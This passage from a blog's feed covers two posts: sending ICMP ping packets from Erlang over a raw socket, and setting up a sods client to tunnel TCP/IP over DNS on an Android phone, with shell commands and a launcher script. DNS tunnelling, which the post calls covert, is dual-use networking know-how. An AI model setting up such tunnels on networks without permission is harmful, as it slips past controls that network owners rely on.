class="Statement"&gt;-&amp;gt;&lt;/span&gt; compl(&lt;span class="Identifier"&gt;N&lt;/span&gt;&lt;span class="Statement"&gt;+&lt;/span&gt;&lt;span class="Identifier"&gt;S&lt;/span&gt;).&lt;br /&gt;&lt;/pre&gt;&lt;li&gt;The &lt;i&gt;identifier&lt;/i&gt; and &lt;i&gt;sequence number&lt;/i&gt; allow clients on a host to differentiate their packets, for example, if multiple ping's are running.  The client will usually increment the sequence number for each ICMP ECHO packet sent.&lt;br /&gt;&lt;li&gt;Data is the payload. Traditionally, it holds a &lt;i&gt;struct timeval&lt;/i&gt; so the client can calculate the delay without having to maintain state, but any value can be used, such as the output of &lt;b&gt;erlang:now/0&lt;/b&gt;. The remainder is padded with ASCII characters.&lt;br /&gt;&lt;/ul&gt;The description of an ICMP packet in Erlang is very close to the specification. For ICMP ECHO: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;8:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;Checksum:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Sequence:16&lt;/span&gt;, Payload&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The ICMP ECHO reply is the same packet returned, with the &lt;i&gt;type&lt;/i&gt; field set to 0 and an updated checksum: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;Checksum:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Sequence:16&lt;/span&gt;, Payload&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Opening a Socket&lt;/h2&gt;Sending out ICMP packets requires opening a raw socket. Aside from the issues of having the appropriate privileges, Erlang does not have native support for handling raw sockets.  I used &lt;a href="http://blog.listincomprehension.com/search/label/procket"&gt;procket&lt;/a&gt; to handle the privileged socket operations and pass the file descriptor into Erlang. Once the socket is returned to Erlang, we can perform operations on it as an unprivileged user. Since there isn't a gen_icmp module, we need some way of calling sendto()/recvfrom() on the socket. gen_udp uses sendto(), so we can misuse it (with some quirks) for our icmp packets. &lt;pre class="Code"&gt;&lt;span class="Comment"&gt;% Get an ICMP raw socket&lt;/span&gt;&lt;br /&gt;{ok, FD} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:listen&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [{protocol, icmp}]),&lt;span class="Comment"&gt;&lt;br /&gt;% Use the file descriptor to create an Erlang socket structure&lt;/span&gt;&lt;br /&gt;{ok, S} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:open&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [&lt;span class="Identifi&lt;br /&gt;er"&gt;binary&lt;/span&gt;, {fd, FD}]),&lt;br /&gt;&lt;/pre&gt;The port is meaningless, so &lt;i&gt;0&lt;/i&gt; is passed in as an argument.  We create the packet payload twice: first with a zero'ed checksum, then with the results of the checksum. &lt;pre class="Code"&gt;make_packet(Id, Seq) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {Mega,Sec,USec} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:now&lt;/span&gt;(),&lt;br /&gt;    Payload &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;(&lt;span class="Identifier"&gt;lists:seq&lt;/span&gt;(&lt;span class="Constant"&gt;32&lt;/span&gt;, &lt;span class="Constant"&gt;75&lt;/span&gt;)),&lt;br /&gt;    CS &lt;span class="Statement"&gt;=&lt;/span&gt; makesum(&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;?&lt;span class="Identifier"&gt;ICMP_ECHO:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Seq:16&lt;/span&gt;, &lt;span class="Identifier"&gt;Mega:32&lt;/span&gt;, &lt;span class="Identifier"&gt;Sec:32&lt;/span&gt;, &lt;span class="Identifier"&gt;USec:32&lt;/span&gt;, Payload&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;8:8&lt;/span&gt;,    &lt;span class="Comment"&gt;% Type&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;0:8&lt;/span&gt;,    &lt;span class="Comment"&gt;% Code&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;CS:16&lt;/span&gt;,  &lt;span class="Comment"&gt;% Checksum&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;,  &lt;span class="Comment"&gt;% Id&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;Seq:16&lt;/span&gt;, &lt;span class="Comment"&gt;% Sequence&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;Mega:32&lt;/span&gt;, &lt;span class="Identifier"&gt;Sec:32&lt;/span&gt;, &lt;span class="Identifier"&gt;USec:32&lt;/span&gt;,   &lt;span class="Comment"&gt;% Payload: time&lt;/span&gt;&lt;br /&gt;        Payload&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The packet can be sent via the raw socket using gen_udp:send/4, with the port again set to 0. &lt;pre class="Code"&gt;ok &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:send&lt;/span&gt;(S, IP, &lt;span class="Constant"&gt;0&lt;/span&gt;, Packet)&lt;br /&gt;&lt;/pre&gt;Since we're abusing gen_udp, we can wait for a message to be sent to the process: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;receive&lt;/span&gt;&lt;br /&gt;    {udp, S, _IP, _Port, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;_:20&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, Data&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;        {ICMP, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;Mega:32&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;integer&lt;/span&gt;, &lt;span class="Identifier"&gt;Sec:32&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;integer&lt;/span&gt;, &lt;span class="Identifier"&gt;Micro:32&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;integer&lt;/span&gt;, Payload&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;=&lt;/span&gt; icmp(Data),&lt;br /&gt;        &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([&lt;br /&gt;            {type, ICMP#icmp&lt;span class="Special"&gt;.&lt;/span&gt;type},&lt;br /&gt;            {code, ICMP#icmp&lt;span class="Special"&gt;.&lt;/span&gt;code},&lt;br /&gt;            {checksum, ICMP#icmp&lt;span class="Special"&gt;.&lt;/span&gt;checksum},&lt;br /&gt;            {id, ICMP#icmp&lt;span class="Special"&gt;.&lt;/span&gt;id},&lt;br /&gt;            {sequence, ICMP#icmp&lt;span class="Special"&gt;.&lt;/span&gt;sequence},&lt;br /&gt;            {payload, Payload},&lt;br /&gt;            {&lt;span class="Identifier"&gt;time&lt;/span&gt;, &lt;span class="Special"&gt;timer&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;now_diff(&lt;span class="Identifier"&gt;erlang:now&lt;/span&gt;(), {Mega, Sec, Micro})}&lt;br /&gt;        ]),&lt;br /&gt;&lt;span class="Statement"&gt;after&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;5000&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;error_logger:error_report&lt;/span&gt;([{noresponse, Packet}])&lt;br /&gt;&lt;span class="Statement"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;In the above code snippet, you may have noticed the first 20 bytes of the payload is stripped off. Comparing the ICMP packet we sent and the response handed to the process by gen_udp: &lt;pre class="Code"&gt;icmp: &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;186&lt;/span&gt;,&lt;span class="Constant"&gt;30&lt;/span&gt;,&lt;span class="Constant"&gt;80&lt;/span&gt;,&lt;span class="Constant"&gt;228&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;4&lt;/span&gt;,&lt;span class="Constant"&gt;250&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;12&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;span class="Constant"&gt;77&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;span class="Constant"&gt;33&lt;/span&gt;,&lt;span class="Constant"&gt;34&lt;/span&gt;,&lt;span class="Constant"&gt;35&lt;/span&gt;,&lt;span class="Constant"&gt;36&lt;/span&gt;,&lt;br /&gt;            &lt;span class="Constant"&gt;37&lt;/span&gt;,&lt;span class="Constant"&gt;38&lt;/span&gt;,&lt;span class="Constant"&gt;39&lt;/span&gt;,&lt;span class="Constant"&gt;40&lt;/span&gt;,&lt;span class="Constant"&gt;41&lt;/span&gt;,&lt;span class="Constant"&gt;42&lt;/span&gt;,&lt;span class="Constant"&gt;43&lt;/span&gt;,&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;45&lt;/span&gt;,&lt;span class="Constant"&gt;46&lt;/span&gt;,&lt;span class="Constant"&gt;47&lt;/span&gt;,&lt;span class="Constant"&gt;48&lt;/span&gt;,&lt;span class="Constant"&gt;49&lt;/span&gt;,&lt;span class="Constant"&gt;50&lt;/span&gt;,&lt;span class="Constant"&gt;51&lt;/span&gt;,&lt;span class="Constant"&gt;52&lt;/span&gt;,&lt;span class="Constant"&gt;53&lt;/span&gt;,&lt;span class="Constant"&gt;54&lt;/span&gt;,&lt;span class="Constant"&gt;55&lt;/span&gt;,&lt;span class="Constant"&gt;56&lt;/span&gt;,&lt;span class="Constant"&gt;57&lt;/span&gt;,&lt;span class="Constant"&gt;58&lt;/span&gt;,&lt;br /&gt;            &lt;span class="Constant"&gt;59&lt;/span&gt;,&lt;span class="Constant"&gt;60&lt;/span&gt;,&lt;span class="Constant"&gt;61&lt;/span&gt;,&lt;span class="Constant"&gt;62&lt;/span&gt;,&lt;span class="Constant"&gt;63&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;65&lt;/span&gt;,&lt;span class="Constant"&gt;66&lt;/span&gt;,&lt;span class="Constant"&gt;67&lt;/span&gt;,&lt;span class="Constant"&gt;68&lt;/span&gt;,&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;70&lt;/span&gt;,&lt;span class="Constant"&gt;71&lt;/span&gt;,&lt;span class="Constant"&gt;72&lt;/span&gt;,&lt;span class="Constant"&gt;73&lt;/span&gt;,&lt;span class="Constant"&gt;74&lt;/span&gt;,&lt;span class="Constant"&gt;75&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    response: &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;84&lt;/span&gt;,&lt;span class="Constant"&gt;101&lt;/span&gt;,&lt;span class="Constant"&gt;155&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;154&lt;/span&gt;,&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;220&lt;/span&gt;,&lt;span class="Constant"&gt;187&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;220&lt;/span&gt;,&lt;br /&gt;                &lt;span class="Constant"&gt;212&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;194&lt;/span&gt;,&lt;span class="Constant"&gt;30&lt;/span&gt;,&lt;span class="Constant"&gt;80&lt;/span&gt;,&lt;span class="Constant"&gt;228&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;4&lt;/span&gt;,&lt;span class="Constant"&gt;250&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;12&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;span class="Constant"&gt;77&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;span class="Constant"&gt;33&lt;/span&gt;,&lt;br /&gt;                &lt;span class="Constant"&gt;34&lt;/span&gt;,&lt;span class="Constant"&gt;35&lt;/span&gt;,&lt;span class="Constant"&gt;36&lt;/span&gt;,&lt;span class="Constant"&gt;37&lt;/span&gt;,&lt;span class="Constant"&gt;38&lt;/span&gt;,&lt;span class="Constant"&gt;39&lt;/span&gt;,&lt;span class="Constant"&gt;40&lt;/span&gt;,&lt;span class="Constant"&gt;41&lt;/span&gt;,&lt;span class="Constant"&gt;42&lt;/span&gt;,&lt;span class="Constant"&gt;43&lt;/span&gt;,&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;45&lt;/span&gt;,&lt;span class="Constant"&gt;46&lt;/span&gt;,&lt;span class="Constant"&gt;47&lt;/span&gt;,&lt;span class="Constant"&gt;48&lt;/span&gt;,&lt;span class="Constant"&gt;49&lt;/span&gt;,&lt;span class="Constant"&gt;50&lt;/span&gt;,&lt;span class="Constant"&gt;51&lt;/span&gt;,&lt;span class="Constant"&gt;52&lt;/span&gt;,&lt;span class="Constant"&gt;53&lt;/span&gt;,&lt;span class="Constant"&gt;54&lt;/span&gt;,&lt;br /&gt;                &lt;span class="Constant"&gt;55&lt;/span&gt;,&lt;span class="Constant"&gt;56&lt;/span&gt;,&lt;span class="Constant"&gt;57&lt;/span&gt;,&lt;span class="Constant"&gt;58&lt;/span&gt;,&lt;span class="Constant"&gt;59&lt;/span&gt;,&lt;span class="Constant"&gt;60&lt;/span&gt;,&lt;span class="Constant"&gt;61&lt;/span&gt;,&lt;span class="Constant"&gt;62&lt;/span&gt;,&lt;span class="Constant"&gt;63&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;65&lt;/span&gt;,&lt;span class="Constant"&gt;66&lt;/span&gt;,&lt;span class="Constant"&gt;67&lt;/span&gt;,&lt;span class="Constant"&gt;68&lt;/span&gt;,&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;70&lt;/span&gt;,&lt;span class="Constant"&gt;71&lt;/span&gt;,&lt;span class="Constant"&gt;72&lt;/span&gt;,&lt;span class="Constant"&gt;73&lt;/span&gt;,&lt;span class="Constant"&gt;74&lt;/span&gt;,&lt;span class="Constant"&gt;75&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;While the process sent a 64 byte ICMP packet, gen_udp hands it an 84 byte packet which includes the 20 byte IPv4 header.  An &lt;a href="http://github.com/msantos/procket/blob/master/src/icmp.erl"&gt;example of an Erlang ping&lt;/a&gt; is included with &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; on github. The example will just print out the packets using error_logger:info_report/1:  &lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;icmp:ping&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;192.168.213.1&amp;quot;&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Statement"&gt;=&lt;/span&gt;INFO REPORT&lt;span class="Statement"&gt;====&lt;/span&gt; &lt;span class="Constant"&gt;24&lt;/span&gt;&lt;span class="Statement"&gt;-&lt;/span&gt;May&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;2010&lt;/span&gt;&lt;span class="Special"&gt;::&lt;/span&gt;&lt;span class="Identifier"&gt;16:21&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;37&lt;/span&gt; &lt;span class="Statement"&gt;===&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;type: 0&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;code: 0&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;checksum: 52034&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;id: 14837&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;sequence: 0&lt;/span&gt;&lt;br /&gt;    payload&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot; !\&amp;quot;#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJK&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;time&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;16790&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5356452024165727869?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5356452024165727869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5356452024165727869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5356452024165727869'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html' title='ICMP Ping in Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-1889739398931275568</id><published>2010-04-28T16:52:00.001-04:00</published><updated>2011-03-13T10:23:17.513-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>DNS Tunnelling on Android</title><content type='html'>I have a &lt;a href="http://en.wikipedia.org/wiki/Motorola_Milestone"&gt;Motorola Milestone&lt;/a&gt;, its somewhat awesome, but what would make it awesome-er is ... &lt;a href="http://blog.listincomprehension.com/2009/11/sods-socket-over-dns-tunneling-service.html"&gt;tunnelling TCP/IP over DNS&lt;/a&gt;! Any device that can support covert, high latency, text based network protocols should. And rooting the phone isn't required.&lt;br /&gt;&lt;br /&gt;It turns out it is suprisingly easy to get simple C code running on an Android phone, if you don't mind statically compiling and don't have many dependencies. The results are sort of bloated though.&lt;br /&gt;&lt;br /&gt;You can download a precompiled &lt;a href="http://github.com/msantos/sods"&gt;sods&lt;/a&gt; client (&lt;b&gt;sdt&lt;/b&gt;) for Android (the binary will also work on Nokia tablets running &lt;a href="http://maemo.org/"&gt;Maemo&lt;/a&gt;) from &lt;a href="http://github.com/downloads/msantos/sods/android-arm-sdt.bz2"&gt;here&lt;/a&gt;. I compiled &lt;b&gt;sdt&lt;/b&gt; using &lt;a href="http://www.scratchbox.org/"&gt;scratchbox&lt;/a&gt;. You'll need a &lt;a href="http://github.com/msantos/sods"&gt;sods&lt;/a&gt; server and a domain set up, of course (&lt;a href="http://blog.listincomprehension.com/2009/12/sods-care-and-feeding-of.html"&gt;here are  instructions&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Copy &lt;b&gt;sdt&lt;/b&gt; to your phone. I moved it to the sd card.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://connectbot.googlecode.com/svn/trunk/www/qr-code.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://connectbot.googlecode.com/svn/trunk/www/qr-code.png" /&gt;&lt;/a&gt;&lt;/div&gt;If you don't have &lt;a href="http://code.google.com/p/connectbot"&gt;ConnectBot&lt;/a&gt; installed, get it from the Android market now.  Start up ConnectBot and create a new &lt;b&gt;local&lt;/b&gt; host. This will start a shell on the phone.&lt;br /&gt;&lt;br /&gt;Change to the ConnectBot data directory; we'll use it to hold the sods client.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;cd&lt;/span&gt; /data/data/org.connectbot&lt;br /&gt;&lt;/pre&gt;Create a new directory or use the &lt;i&gt;files&lt;/i&gt; directory (I have no idea what will happen to these directories when ConnectBot is upgraded).&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;mkdir&lt;/span&gt; bin&lt;br /&gt;&lt;span class="Statement"&gt;cd&lt;/span&gt; bin&lt;br /&gt;&lt;/pre&gt;Copy &lt;b&gt;sdt&lt;/b&gt; and change the permissions:&lt;br /&gt;&lt;pre class="Code"&gt;cp /sdcard/tmp/sdt .&lt;br /&gt;chmod &lt;span class="Constant"&gt;744&lt;/span&gt; sdt&lt;br /&gt;./sdt &lt;span class="Special"&gt;-h&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Now create a new &lt;b&gt;local&lt;/b&gt; host to run &lt;b&gt;sdt&lt;/b&gt;. Do a long press on the new entry and select "Edit Host".&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_VKBskse7x_4/S9ieG6_OevI/AAAAAAAABjs/brFCGfhrP4c/s1600/sdt-edithost.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_VKBskse7x_4/S9ieG6_OevI/AAAAAAAABjs/brFCGfhrP4c/s320/sdt-edithost.png" /&gt;&lt;/a&gt;&lt;/div&gt;Choose the "Post-login automation" item. This will let us run commands when the shell is started.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_VKBskse7x_4/S9ieRmm6U3I/AAAAAAAABj0/KsEQ2x4hdtg/s1600/sdt-postlogin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_VKBskse7x_4/S9ieRmm6U3I/AAAAAAAABj0/KsEQ2x4hdtg/s320/sdt-postlogin.png" /&gt;&lt;/a&gt;&lt;/div&gt;The flags to &lt;b&gt;sdt&lt;/b&gt; can be manually specified or wrapped in a shell script.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_VKBskse7x_4/S9ieW_js1pI/AAAAAAAABj8/bPJNtWIb5FY/s1600/sdt-cmd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_VKBskse7x_4/S9ieW_js1pI/AAAAAAAABj8/bPJNtWIb5FY/s320/sdt-cmd.png" /&gt;&lt;/a&gt;&lt;/div&gt;Here is an example shell script (called &lt;i&gt;sd&lt;/i&gt;):&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;#!/system/bin/sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;PORT&lt;/span&gt;=&lt;span class="Constant"&gt;22220&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;S&lt;/span&gt;=&lt;span class="PreProc"&gt;${&lt;/span&gt;&lt;span class="PreProc"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;:-&lt;/span&gt;&lt;span class="Error"&gt;0&lt;/span&gt;&lt;span class="PreProc"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;PORT&lt;/span&gt;=&lt;span class="Error"&gt;$(&lt;/span&gt;&lt;span class="Statement"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;PORT+&lt;/span&gt;&lt;span class="PreProc"&gt;$S&lt;/span&gt;&lt;span class="Statement"&gt;)&lt;/span&gt;&lt;span class="Error"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;T&lt;/span&gt;=&lt;span class="PreProc"&gt;${&lt;/span&gt;&lt;span class="PreProc"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;:-&lt;/span&gt;&lt;span class="Error"&gt;TXT&lt;/span&gt;&lt;span class="PreProc"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;NS1&lt;/span&gt;=&lt;span class="Special"&gt;`getprop net.dns1`&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;NS&lt;/span&gt;=&lt;span class="PreProc"&gt;${&lt;/span&gt;&lt;span class="PreProc"&gt;3&lt;/span&gt;&lt;span class="Statement"&gt;:-&lt;/span&gt;&lt;span class="PreProc"&gt;$NS1&lt;/span&gt;&lt;span class="PreProc"&gt;}&lt;/span&gt;&lt;br /&gt;./sdt &lt;span class="Special"&gt;-t&lt;/span&gt; &lt;span class="PreProc"&gt;$T&lt;/span&gt; &lt;span class="Special"&gt;-r&lt;/span&gt; &lt;span class="PreProc"&gt;$NS&lt;/span&gt; &lt;span class="Special"&gt;-p&lt;/span&gt; &lt;span class="PreProc"&gt;$PORT&lt;/span&gt; &lt;span class="Special"&gt;-s&lt;/span&gt; &lt;span class="PreProc"&gt;$S&lt;/span&gt; &lt;span class="Special"&gt;-vvvv&lt;/span&gt; x.a.example.com x.b.example.com x.n.example.com&lt;br /&gt;&lt;/pre&gt;Create a new &lt;b&gt;ssh&lt;/b&gt; host, connecting to localhost and whatever port sdt has been configured to listen on (using the &lt;i&gt;-p&lt;/i&gt; 